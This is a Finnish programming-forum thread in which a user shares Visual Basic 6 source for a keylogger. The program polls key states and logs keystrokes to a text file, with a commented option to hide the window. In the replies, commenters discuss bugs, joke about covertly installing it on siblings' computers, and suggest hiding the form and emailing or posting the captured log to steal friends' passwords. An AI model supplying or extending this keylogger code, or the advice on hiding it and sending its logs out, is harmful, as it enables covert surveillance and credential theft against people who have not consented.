Keskustelu: Koodit: VB6: Näppäimistöloki

Nopeasti tehty näppäimistö loki joka kirjoittaa "jokaisen" näppäimen painaluksen lokiin aina 50 painaluksen välein.
Koodi vaatii timerin(Timer1).
Kannatta asettaa arvo timer1.interval sopivaksi olen huomannut että näppäinten scannaus nopeus vaihtelee eri koneilla. loki tiedosto on loki.txt ja se on joko ohjelman kanssa samassa kansiossa tai VB:n kansiossa

'Näppäimistö Loki
'T: Solof

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Dim Merkki As Integer
Dim Sana As String


Private Sub Form_Load()
    'Form1.Visible = False 'piilota formi tällä jos haluat
    Timer1.Interval = 100 'Tämä täytyy kalibroida koneen mukaan
    '(näppäinten skannauksen välinen aika)

    Timer1.Enabled = True
    Sana = ""
    Merkki = 0

End Sub

Private Sub Form_Unload(Cancel As Integer)
    Savettaa 'jos lopetetaan yllättäen talenna
End Sub

Private Sub Timer1_Timer()


    For kk = 65 To 90 'käydään läpi isot kirjaimet
        If GetAsyncKeyState(kk) Then pk = kk: GoTo uush
    Next

    For kk = 97 To 122 'käydään läpi pienet kirjaimet
        If GetAsyncKeyState(kk) Then pk = kk: GoTo uush
    Next

    For kk = 47 To 58 'käydään läpi numerot
        If GetAsyncKeyState(kk) Then pk = kk: GoTo uush
    Next

    If GetAsyncKeyState(32) Then pk = 32: GoTo uush 'space

    If GetAsyncKeyState(221) Then pk = 229: GoTo uush 'ä ei välttämättä
    If GetAsyncKeyState(222) Then pk = 228: GoTo uush 'ö tässä
    If GetAsyncKeyState(192) Then pk = 246: GoTo uush 'å järjestyksessä

    Exit Sub
uush:

    Sana = Sana & Chr(pk) 'lisätään sanaan merkki
    Merkki = Merkki + 1 'lisätään merkkilaskuriin 1
    If Merkki >= 50 Then Savettaa 'jos 50 kirjainta kirjoitettu savettaa
    'kannattaa muuttaa omien tarpeiden mukaan (50 merkkiä)

End Sub

Sub Savettaa()
    'Tallentaa kun 50 merkkiä painettu
    Open App.Path & "\loki.txt" For Append As #1
        Print #1, Sana 'tiedostoon ohjelman_polku/loki.txt tai VB:n kansio/loki.txt
    Close #1
    Merkki = 1
    Sana = ""

End Sub

Ihan mukavasti toimii, ja vielä hyödyllinen vinkki. Joskus tulee virheitä näppäinten tulkitsemisessa, mutta koneella kirjoitetun tekstin lukeminen tiedostosta kyllä onnistuu jälkikäteen.

Laadukas vakoilusoftan alku :P

Hyvä solof, sulta näköjään tulee sitä koodia vähän enemmänkin. Kuinkas monta koodivinkkiä olet kirjoittanut tänään?

Tallentaako tää noita lokeja muotoon:

m
o
i
k
k
a

vai jotenkin että:

[12.12] m
[12.12] o
[12.12] i
jne..

vai miten se sen tallentaa?

SUNSI­OI­AAFDD­FIDJFKGGDFHGGHHFHDJG­JIIF­FAAF­JA­FIMDGIID
IIMIMMIOIMISIMIISMSIMISIIMOS NNOP ARAS AINA1HHHH
HHHHHHHJH
tollain tallentaa.
ihan kiva ja hyödyllinen vinkki

Siinähän vasta oivallinen vakoiluohjelma, jos sais vielä jotenkin piilotettua. Vois vähä seurata millä sivuilla isoveli käy. :P

Siinähän vasta oivallinen vakoiluohjelma, jos sais vielä jotenkin piilotettua. Vois vähä seurata millä sivuilla isoveli käy. :P

Form loadiin Form1.hide :)

Toihan on hieno keyloggeri :) Jee yks parhaista jutuista mitä oon nähny tääl ;)

Miten toi kalibroidaan ?

kokeilet siihen vaan sopivan luvun

Löytyykö exeä mistään?

tästäpä sitten vääntämään siskopuolen koneelle vakoiluaohjelmaa :P

Mulle se luettelee jotain X sekaan sinne logitiedostoon ja ne kirjaimet ei joskus pidä paikkaansa... miten korjataan?

siis tostahan pystyis tekee helposti sellasen jolla saa kaverin esim salasanat selville :( tekee vaan sen ohjelman sisään sähköposti lähetys formin ja sit se lähettää näppäimistöloen omaan sähköpostiin :D

Toi ei erota isoi ja pieniii kirjaimii toisistaa ja tunnistaa erikoismerkit väärin.

Kiva hax0riohjelma mutta ei ole siskoja/veljiä niin ei ole käyttöä xD xD

haxhax

ei tunnista pieni kirjaimia tai siis tunnistaa kaiken isolla ja toi klibrointi ei oikeen suju.. oon kokeillu 1000 eri numeroo varmaan jo eikä ku pahene

Tulee vain pitkiä rivejä G:tä. Pitänee yrittää väsätä oma systeemi noilla API-funktioilla...

Toimii hyvin, mutta pistäkää puolipilkku tohon:

Open App.Path & "\loki.txt" For Append As #1
    Print #1; ' <--- tohon puolipilkku

niin se kirjoittaa sen samaan riviin :P

kirjottaa kaiken isolla saisko myös pienet kirjaimet toimimaan?

Mites sen sais niin et se läettäis sen tekstin nettiin?

Eikös tämä ole koodivinkki, ei valmis ohjelma. :D

Ei toimi ollenkaan tulee vaa error laitoin koodia formiin ja vaikka minne ! Se timeri miten sen saa käyttöön ?

lainaus:

tästäpä sitten vääntämään siskopuolen koneelle vakoiluaohjelmaa :P

Yhdistät tän loggerin vaikka tuohon-> https://www.ohjelmointiputka.net/koodivinkit/24142-vb6-tcp-ip-keskustelu

Vielä tuo lähettämään tietoa omaan s-postiin tai websivulle. ;)

tesmu kirjoitti:

siis tostahan pystyis tekee helposti sellasen jolla saa kaverin esim salasanat selville :( tekee vaan sen ohjelman sisään sähköposti lähetys formin ja sit se lähettää näppäimistöloen omaan sähköpostiin :D

Sanon että tulis muutama sähköposti

minne tuo tallentaa ne lokit??? :D